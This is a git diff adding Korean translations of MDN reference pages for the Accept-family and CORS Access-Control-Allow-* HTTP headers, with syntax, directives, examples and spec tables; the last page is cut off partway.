diff --git a/files/ko/web/http/headers/accept-charset/index.html b/files/ko/web/http/headers/accept-charset/index.html
new file mode 100644
index 0000000000..9760f9ac93
--- /dev/null
+++ b/files/ko/web/http/headers/accept-charset/index.html
@@ -0,0 +1,80 @@
+---
+title: Accept-Charset
+slug: Web/HTTP/Headers/Accept-Charset
+translation_of: Web/HTTP/Headers/Accept-Charset
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Accept-Charset</code></strong> 요청 HTTP 헤더는 클라이언트가 이해할 수 있는 캐릭터셋이 무엇인지를 알려줍니다. <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a>을 사용하여, 서버는 제안된 것 중 하나를 선택하고, 사용하며 {{HTTPHeader("Content-Type")}} 응답 헤더를 통해 선택된 캐릭터셋을 클라이언트에게 알려줍니다. 브라우저들은 각각의 컨텐츠 타입에 대한 기본 값이 일반적으로 정확하고 그것을 전송하는 것이 더 쉽게 행적을 남기게 될 가능성이 있으므로 이 헤더를 설정하지 않습니다.</p>
+
+<p>서버가 일치하는 캐릭터셋을 서브하지 못할 경우, 이론적으로 {{HTTPStatus("406")}} (Not Acceptable) 오류 코드를 회신할 수 있습니다. 그러나, 더 나은 사용자 경험을 위해, 그런 경우는 드물며 더 일반적인 방법은 이런 경우 <code>Accept-Charset</code> 헤더를 무시하는 겁니다.</p>
+
+<div class="note">
+<p>HTTP/1.1 초기 버전에서는, 기본 캐릭터셋(<code>ISO-8859-1</code>)이 정의됐었습니다. 더 이상 실제로 그렇지 않으며 이제 각각의 컨텐츠 타입이 기본 값을 가지고 있을 수도 있습니다.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">헤더 타입</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre>Accept-Charset: &lt;charset&gt; // Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax: Accept-Charset: utf-8, iso-8859-1;q=0.5</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>&lt;charset&gt;</code></dt>
+ <dd><code>utf-8</code> 혹은 <code>iso-8859-15</code>와 같은 캐릭터셋.</dd>
+ <dt><code>*</code></dt>
+ <dd>헤더 내 다른 곳에서 언급되지 않은 모든 캐릭터셋; 와일드카드로 사용되는<code>'*'.</code></dd>
+ <dt><code>;q=</code> (q-인자 가중치)</dt>
+ <dd><em>weight</em>라고 불리는 상대적 <a href="/en-US/docs/Glossary/Quality_values">품질 값</a>을 사용해 표현되는 선호도에 따라 대체되는 값.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Accept-Charset: iso-8859-1
+
+Accept-Charset: utf-8, iso-8859-1;q=0.5
+
+Accept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Accept-Charset", "5.3.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성 테이블은 구조화된 데이터로부터 생성되었습니다. 이 데이터에 기여하고자 한다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>을 확인하고 pull request를 보내주세요.</p>
+
+<p>{{Compat("http.headers.Accept-Charset")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a></li>
+ <li>컨텐츠 협상 결과를 이용하는 헤더: {{HTTPHeader("Content-Type")}}</li>
+ <li>다른 유사한 헤더들: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/accept-encoding/index.html b/files/ko/web/http/headers/accept-encoding/index.html
new file mode 100644
index 0000000000..814aa2e188
--- /dev/null
+++ b/files/ko/web/http/headers/accept-encoding/index.html
@@ -0,0 +1,109 @@
+---
+title: Accept-Encoding
+slug: Web/HTTP/Headers/Accept-Encoding
+translation_of: Web/HTTP/Headers/Accept-Encoding
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Accept-Encoding</code></strong> 요청 HTTP 헤더는, 보통 압축 알고리즘인, 클라이언트가 이해 가능한 컨텐츠 인코딩이 무엇인지를 알려줍니다. <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a>을 사용하여, 서버는 제안된 내용 중 하나를 선택하고 사용하며 {{HTTPHeader("Content-Encoding")}} 응답 헤더를 이용해 선택된 것을 클라이언트에게  알려줍니다.</p>
+
+<p>클라이언트와 서버 모두 동일한 압축 알고리즘을 지원한다고 해도, 식별 값 또한 수용 가능하다면, 서버는 응답의 본문을 압축하지 않으려고 할 수 있습니다. 두 가지 일반적인 경우가 이런 일을 초래합니다:</p>
+
+<ul>
+ <li>전송되어야 할 데이터가 이미 압축되어 있고 두번째 압축이 전송해야 할 데이터를 더 작게 만들지 못할 경우가 있습니다. 이런 경우는 이미지 포맷 압축에 해당되는 경우가 많습니다;</li>
+ <li>서버에 과부하가 걸리고 압축 요구사항에 의해 초래된 연산의 오버헤드를 감당할 수 없는 경우가 있습니다. 일반적으로, Microsoft는 서버가 자신의 연산력의 80% 이상을 사용하는 경우 압축하지 않을 것을 권고하고 있습니다.</li>
+</ul>
+
+<p>부호화(encoding)되지 않았음을 의미하는, <code>identity</code> 값이 식별에 대한 다른 명시적인 설정 값 없이 <code>identity;q=0</code> or a <code>*;q=0</code>에 의해 명시적으로 숨겨지지 않는 한, 서버는 {{HTTPStatus("406")}} <code>Acceptable</code> 오류를 회신해서는 결코 안됩니다.</p>
+
+<div class="note"><strong>Notes:</strong>
+
+<ul>
+ <li>
+ <p>IANA 레지스트리는 <a class="external" href="http://www.iana.org/assignments/http-parameters/http-parameters.xml#http-parameters-1">공식적인 컨텐츠 인코딩의 전체 목록</a>을 운영 중입니다.</p>
+ </li>
+ <li>두 개의 다른 컨텐츠 인코딩, <code>bzip</code>과 <code>bzip2</code>이 표준은 아니지만 때때로 사용되기도 합니다. 그들은 두 개의 UNIX 프로그램에 의해 사용되는 알고리즘을 구현합니다. 첫번째 알고리즘은 특허 라이선스 문제 때문에 더 이상 유지되지 않는다는 것을 알아두시기 바랍니다.</li>
+</ul>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">헤더 타입</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Accept-Encoding: gzip
+Accept-Encoding: compress
+Accept-Encoding: deflate
+Accept-Encoding: br
+Accept-Encoding: identity
+Accept-Encoding: *
+
+// Multiple algorithms, weighted with the {{Glossary("Quality Values", "quality value")}} syntax:
+Accept-Encoding: deflate, gzip;q=1.0, *;q=0.5</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>gzip</code></dt>
+ <dd>32비트 CRC와 함께 <a class="external external-icon" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77)를 사용하는 압축 포맷.</dd>
+ <dt><code>compress</code></dt>
+ <dd><a class="external external-icon" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW) 알고리즘을 사용하는 압축 포맷.</dd>
+ <dt><code>deflate</code></dt>
+ <dd><em><a class="external external-icon" href="http://en.wikipedia.org/wiki/DEFLATE">deflate</a> </em>압축 알고리즘과 함께 <a class="external external-icon" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> 구조를 사용하는 압축 포맷.</dd>
+ <dt><code>br</code></dt>
+ <dd><a class="external external-icon" href="https://en.wikipedia.org/wiki/Brotli">Brotli</a> 알고리즘을 사용하는 압축 포맷.</dd>
+ <dt><code>identity</code></dt>
+ <dd>식별 함수(압축하지 않거나 수정하지 않은 경우)를 가리킵니다. 이 값은 존재하지 않은 경우에도 항상 수용 가능하다고 여겨집니다.</dd>
+ <dt><code>*</code></dt>
+ <dd>헤더 내에 아직 나열되지 않은 컨텐츠 인코딩이라도 일치됩니다. 헤더가 존재하지 않을 경우, 기본값이 됩니다. 그것이 모든 알고리즘이 지원된다는 것을 의미하지는 않습니다; 단지 표현된 선호 대상이 없다는 것을 의미합니다.</dd>
+ <dt><code>;q=</code> (q값 가중치)</dt>
+ <dd><em>weight</em>라고 부르는 상대적인 <a href="/en-US/docs/Glossary/Quality_value">퀄리티 값</a>을 사용하여 표현한 선호도에 따라 배치된 값입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Accept-Encoding: gzip
+
+Accept-Encoding: gzip, compress, br
+
+Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Accept-Encoding", "5.3.4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성 테이블은 구조화 데이터로부터 생성된 것입니다. 이 데이터에 기여하고자 한다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>을 확인하고 pull request를 보내주시기 바랍니다.</p>
+
+<p>{{Compat("http.headers.Accept-Encoding")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a></li>
+ <li>컨텐츠 협상의 결과를 이용한 헤더: {{HTTPHeader("Content-Encoding")}}</li>
+ <li>다른 유사한 헤더들: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/accept-language/index.html b/files/ko/web/http/headers/accept-language/index.html
new file mode 100644
index 0000000000..083d379856
--- /dev/null
+++ b/files/ko/web/http/headers/accept-language/index.html
@@ -0,0 +1,89 @@
+---
+title: Accept-Language
+slug: Web/HTTP/Headers/Accept-Language
+translation_of: Web/HTTP/Headers/Accept-Language
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Accept-Language</code></strong> 요청 HTTP 헤더는 어떤 언어를 클라이언트가 이해할 수 있는지, 그리고 지역 설정 중 어떤 것이 더 선호되는지를 알려줍니다. (여기서 언어란 프로그래밍 언어가 아니라 영어같은 자연 언어를 의미합니다.) <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a>을 사용하여, 서버는 제안 중 하나를 선택한 뒤, 그것을 사용하고 {{HTTPHeader("Content-Language")}} 응답 헤더와 함께 선택된 내용을 클라이언트에게 알려줍니다. 브라우저는 사용자 인터페이스 언어에 따라 해당 헤더에 적절한 값을 설정하며 사용자가 사용자 인터페이스 언어를 변경한 경우조차도, 헤더의 값이 변경되는 일은 거의 없습니다(그리고 그런 일이 일어나게 되면 흔적이 남으므로 눈살을 찌프리게 됩니다).</p>
+
+<p>이 헤더는 서버가 언어를 결정할 다른 방도(명시적인 사용자 결정에 의한 구체적인 URL과 같은)를 찾지 못한 경우 사용되는 힌트입니다. 서버는 명시적인 결정을 결코 재정의해서는 안됩니다. <code>Accept-Language</code>의 내용은 대게 사용자에 의해 좌지우지되지 못합니다(다른 나라의 인터넷 카페를 방문하여 사용하는 경우처럼); 사용자는 그들의 사용자 인터페이스의 로케일과는 다른 언어로 된 페이지에 방문하고 싶어 할 수도 있습니다.</p>
+
+<p>서버가 일치되는 어떤 언어로 서브할 수 없는 경우, 이론적으로 {{HTTPStatus("406")}} (Not Acceptable) 오류 코드를 회신하게 됩니다. 그러나, 좀 더 나은 사용자 경험을 위해, 이런 경우는 드물며 그런 경우에 가장 흔한 방법은 <code>Accept-Language</code> 헤더를 무시하는 것입니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">헤더 유형</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Accept-Language: &lt;language&gt;
+Accept-Language: &lt;locale&gt;
+Accept-Language: *
+
+// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax:
+Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>&lt;language&gt;</code></dt>
+ <dd>2개 혹은 3개 문자로 이루어진 문자열로 표현되는 언어</dd>
+ <dt><code>&lt;locale&gt;</code></dt>
+ <dd>전체적인 언어 태그. language 그 자체에 추가로, <code>'-'</code>뒤에 추가적인 내용을 담을 수도 있습니다. 가장 일반적인 추가 정보는 ('en-US'와 같은) 국가 변수값(variant) 혹은 사용을 위한 (<code>'sr-Lat'</code>와 같은) 알파벳 유형이 있습니다. 철자법 타입과 같은 다른 변형들(<code>'de-DE-1996'</code>)은 보통 이 헤더의 맥락에서는 사용되지 않습니다. Other variants like the type of orthography (<code>'de-DE-1996'</code>)</dd>
+ <dt><code>*</code></dt>
+ <dd>어떤 언어든지 상관없음; 와일드카드처럼 사용되는 <code>'*'</code>.</dd>
+ <dt><code>;q=</code> (q-인자 가중치)</dt>
+ <dd><em>weight</em>라고 불리는 상대적 <a href="https://developer.mozilla.org/en-US/docs/Glossary/Quality_values">품질 값</a>을 사용해 표현되는 선호도에 따라 대체되는 값.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Accept-Language: de
+
+Accept-Language: de-CH
+
+Accept-Language: en-US,en;q=0.5
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Accept-Language", "5.3.5")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Accept-Language")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a></li>
+ <li>컨텐츠 협상의 결과로 나오는 헤더: {{HTTPHeader("Content-Language")}}</li>
+ <li>다른 유사한 헤더들: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/accept-ranges/index.html b/files/ko/web/http/headers/accept-ranges/index.html
new file mode 100644
index 0000000000..0485fb0873
--- /dev/null
+++ b/files/ko/web/http/headers/accept-ranges/index.html
@@ -0,0 +1,72 @@
+---
+title: Accept-Ranges
+slug: Web/HTTP/Headers/Accept-Ranges
+translation_of: Web/HTTP/Headers/Accept-Ranges
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Accept-Ranges</strong></code> 응답 HTTP 헤더는 부분 요청의 지원을 알리기 위해 서버에 의해 사용되는 표식입니다. 이 필드의 값은 범위를 정의하기 위해 사용될 수 있는 단위를 가리킵니다.</p>
+
+<p><code>Accept-Ranges</code> 헤더가 존재하면, 브라우저는 처음부터 다시 다운로드를 시작하지 않고, 중단된 다운로드를 <em>재개</em>하려고 할 것입니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Accept-Ranges: bytes
+Accept-Ranges: none</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>지원되는 범위의 단위가 없음을 나타내는데, 이는 헤더가 존재하지 않는 경우와 동일하므로 거의 사용되지 않습니다. 그렇지만 IE9같은 브라우저의 경우 다운로드 매니저의 일시중지 버튼을 비활설화(disable) 혹은 제거(remove)할 때 쓰이곤 합니다.</dd>
+ <dt><code>bytes</code></dt>
+ <dd>
+ <p>범위는 바이트로 표현될 수 있습니다.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Accept-Ranges: bytes
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7233", "Accept-Ranges", "2.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Ranges")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/accept/index.html b/files/ko/web/http/headers/accept/index.html
new file mode 100644
index 0000000000..80b4ee0216
--- /dev/null
+++ b/files/ko/web/http/headers/accept/index.html
@@ -0,0 +1,81 @@
+---
+title: Accept
+slug: Web/HTTP/Headers/Accept
+translation_of: Web/HTTP/Headers/Accept
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Accept</code></strong> 요청 HTTP 헤더는 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 타입</a>으로 표현되는, 클라이언트가 이해 가능한 컨텐츠 타입이 무엇인지를 알려줍니다. <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a>을 이용해, 서버는 제안 중 하나를 선택하고 사용하며 {{HTTPHeader("Content-Type")}} 응답 헤더로 클라이언트에게 선택된 타입을 알려줍니다. 브라우저는 요청이 이루어진 컨텍스트에 따라 해당 헤더에 대해 적당한 값들을 설정합니다: CSS 스타일시트를 불러오게 되면, 이미지, 비디오 혹은 스크립트를 불러올 때와 다른 값이 요청에 대해 설정됩니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Accept: &lt;MIME_type&gt;/&lt;MIME_subtype&gt;
+Accept: &lt;MIME_type&gt;/*
+Accept: */*
+
+// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax:
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>&lt;MIME_type&gt;/&lt;MIME_subtype&gt;</code></dt>
+ <dd><code>text/html</code>와 같이 단일의 간격한 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 타입</a>.</dd>
+ <dt><code>&lt;MIME_type&gt;/*</code></dt>
+ <dd>서버 타입을 갖지 않는 MIME 타입. <code>image/*</code> 은 <code>image/png</code>, <code>image/svg</code>, <code>image/gif</code> 그리고 어떤 다른 이미지 타입들과도 일치하게 됩니다.</dd>
+ <dt><code>*/*</code></dt>
+ <dd>모든 MIME 타입</dd>
+ <dt><code>;q=</code> (q-인자 가중치)</dt>
+ <dd>사용되는 모든 값들은 <em>weight</em>라고 부르는 상대적인 <a href="/en-US/docs/Glossary/Quality_values">품질 값</a>을 사용하여 표현되는 선호 순서로 대체됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Accept: text/html
+
+Accept: image/*
+
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
+</pre>
+
+<h2 id="사양서">사양서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Accept", "5.3.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a></li>
+ <li>컨텐츠 현상의 결과에 대한 헤더: {{HTTPHeader("Content-Type")}}</li>
+ <li>다른 유사한 헤더들: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/access-control-allow-credentials/index.html b/files/ko/web/http/headers/access-control-allow-credentials/index.html
new file mode 100644
index 0000000000..083439f215
--- /dev/null
+++ b/files/ko/web/http/headers/access-control-allow-credentials/index.html
@@ -0,0 +1,90 @@
+---
+title: Access-Control-Allow-Credentials
+slug: Web/HTTP/Headers/Access-Control-Allow-Credentials
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Credentials
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>응답헤더 <strong><code>Access-Control-Allow-Credentials</code></strong> 는  요청의 자격증명 모드({{domxref("Request.credentials")}})가 "<code>include</code>" 일때,   브라우저들이 응답을 프로트엔드 자바스트립트 코드에 노출할지에 대해 알려줍니다.</p>
+
+<p> 요청의 자격증명 모드가  ({{domxref("Request.credentials")}})가  "<code>include</code>" 일 때,  <code>Access-Control-Allow-Credentials</code> 값이 <code>true</code> 일 경우에만 브라우저들은 프로트엔드 자바스트립트에 응답을 노출 할 것입니다.</p>
+
+<p>자격증명들은 쿠키, authorization 헤더들 또는 TLS 클라이언트 인증서입니다.</p>
+
+<p>사전 요청의 응답으로 사용할 때, 실제 요청에서 자격증명을 이용할 수 있는지에 대해서 알려줍니다. 심플한 {{HTTPMethod("GET")}} 요청은 사전 요청하지 않으므로, 자격증명과 함께 리소스에 대한 요청이 만들어 지고,  응답에서 리소스와 함께 이 헤더가 없다면 브라우저는 응답을 무시하고 웹 콘텐츠가 전달 되지 않습니다.</p>
+
+<p><code>Access-Control-Allow-Credentials</code> 헤더는 {{domxref("XMLHttpRequest.withCredentials")}} 속성이나 Fetch API 생성자의{{domxref("Request.Request()", "Request()")}}의 <code>credentials</code> 옵션과 함께 작동합니다. 자격 증명이 있는 CORS 요청의 경우, 브라우저가 프런트엔드 JavaScript 코드에 대한 응답을 노출하기 위해서는 서버(Access-Control-Allow-Credentials 헤더 사용)와 클라이언트(XHR, Fetch 또는 Ajax 요청에 대한 자격 증명 모드를 설정하여)가 자격 증명 포함을 선택하고 있음을 표시해야 합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">Access-Control-Allow-Credentials: true
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>true</dt>
+ <dd>이 해더에 유일하게 유효한 값은 <code>true</code>(대소문자 구분)입니다. 자격증명이 필요하지 않으면 값을 <code>false</code>로 설정하지 말고 이 해더 전체를 생략하세요.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>Allow credentials:</p>
+
+<pre class="notranslate">Access-Control-Allow-Credentials: true</pre>
+
+<p>Using <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a> with credentials:</p>
+
+<pre class="brush: js notranslate">var xhr = new XMLHttpRequest();
+xhr.open('GET', 'http://example.com/', true);
+xhr.withCredentials = true;
+xhr.send(null);</pre>
+
+<p>Using <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> with credentials:</p>
+
+<pre class="brush: js notranslate">fetch(url, {
+ credentials: 'include'
+})</pre>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Fetch','#http-access-control-allow-credentials', 'Access-Control-Allow-Credentials')}}</td>
+ <td>{{Spec2("Fetch")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Credentials")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHttpRequest.withCredentials")}}</li>
+ <li>{{domxref("Request.Request()", "Request()")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/access-control-allow-headers/index.html b/files/ko/web/http/headers/access-control-allow-headers/index.html
new file mode 100644
index 0000000000..25cffdf23f
--- /dev/null
+++ b/files/ko/web/http/headers/access-control-allow-headers/index.html
@@ -0,0 +1,117 @@
+---
+title: Access-Control-Allow-Headers
+slug: Web/HTTP/Headers/Access-Control-Allow-Headers
+tags:
+ - CORS
+ - HTTP
+ - Reference
+ - 헤더
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Headers
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Access-Control-Allow-Headers</code></strong> 는 {{HTTPHeader("Access-Control-Request-Headers")}}를 포함하는 {{glossary("preflight request")}}의 응답에 사용되는 헤더로, 실제 요청때 사용할 수 있는 HTTP 헤더의 목록을 나열합니다.</p>
+
+<p>요청에 {{HTTPHeader("Access-Control-Request-Headers")}} 헤더가 포함되어 있을 경우, 이 헤더를 포함하여야 합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Access-Control-Allow-Headers: <em>&lt;header-name&gt;</em>[, <em>&lt;header-name&gt;</em>]*
+Access-Control-Allow-Headers: *
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt><code>&lt;header-name&gt;</code></dt>
+ <dd>지원하는 헤더의 이름입니다. 쉼표로 구분하여 원하는 만큼 헤더를 나열할 수 있습니다.</dd>
+ <dt><code>*</code> (와일드카드)</dt>
+ <dd>"<code>*</code>" 값은 자격 증명이 없는 요청(<a href="/ko/docs/Web/HTTP/Cookies">쿠키</a> 혹은 HTTP 인증 정보가 없는 요청)일 경우 특수한 와일드 카드로 처리됩니다. 자격증명을 포함하는 경우 단순히 "<code>*</code>"라는 이름을 갖는 특별한 의미가 없는 헤더로 취급됩니다. 단, {{HTTPHeader("Authorization")}} 헤더는 와일드카드에 포함되지 않으며 명시적으로 나열해야 합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="사용자_정의_헤더">사용자 정의 헤더</h3>
+
+<p>다음은 <code>Access-Control-Allow-Headers</code> 헤더가 어떤 식으로 작성되는지에 대한 예시입니다. {{glossary("CORS-safelisted_request_header", "CORS에서 안전한 헤더")}}<span class="tlid-translation translation" lang="ko"><span title="">외에도 X-Custom-Header라는 사용자 정의 헤더가 서버에 대한 CORS 요청에 의해 지원됨을 나타냅니다.</span></span></p>
+
+<pre>Access-Control-Allow-Headers: X-Custom-Header</pre>
+
+<h3 id="여러_개의_헤더">여러 개의 헤더</h3>
+
